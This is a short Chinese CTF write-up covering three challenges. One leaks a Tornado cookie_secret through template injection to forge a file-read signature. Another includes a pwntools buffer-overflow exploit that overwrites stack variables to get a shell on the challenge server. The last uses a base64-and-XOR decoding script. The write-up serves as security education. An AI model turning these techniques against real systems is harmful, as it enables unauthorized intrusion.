题目没有截图。
WEB-easy tornado
三个文件,给了3个提示文件。综合起来看,主要是读文件,不过需要一个参数signature,根据给出的提示文件的URL,signature就是提示中产生的MD5。所以还需要一个cookie_secret,cookie里没有,应该是隐含在服务器里了。render()提示应该是一个SSTI漏洞。撸了一下flag文件,报错,URL里出现了模板符号,印证了想法。然后去翻tornado文档,主要看模板和配置。文档说当前的请求内容主要放在handler对象里,试出来了一个handler.settings暴露参数,cookie_secret。两个参数:file为文件名,signature带上算出转换后的MD5访问文件,得到flag。
PWN-gettingstart
用 IDA 打开程序,整个解题思路就已经明摆在面前了,溢出buf达到pwn的目的。
起shell的条件是(v7 == 0x7FFFFFFFFFFFFFFF && v8 == 0.1)作为静态调试工具,IDA能F5插件能解析出来的,都能在程序里找得到。v8的十进制值0.1就是qword_c10对应的16进制值。
主要覆盖的是v8,但波及到了v7,所以v7也要重写。相差0x18,也就是24。
from pwn import *p = remote("49.4.78.31", 30482)p.sendlineafter('you', 'x' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))p.interactive()
MISC-迟来的签到题
base64解码后异或
import base64s = base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')for n in range(127): flag='' for i in s[:4]: flag += ''.join(chr(i ^ n)) if 'flag' in flag: for i in s[4:]: flag += ''.join(chr(i ^ n)) print(n) print(flag)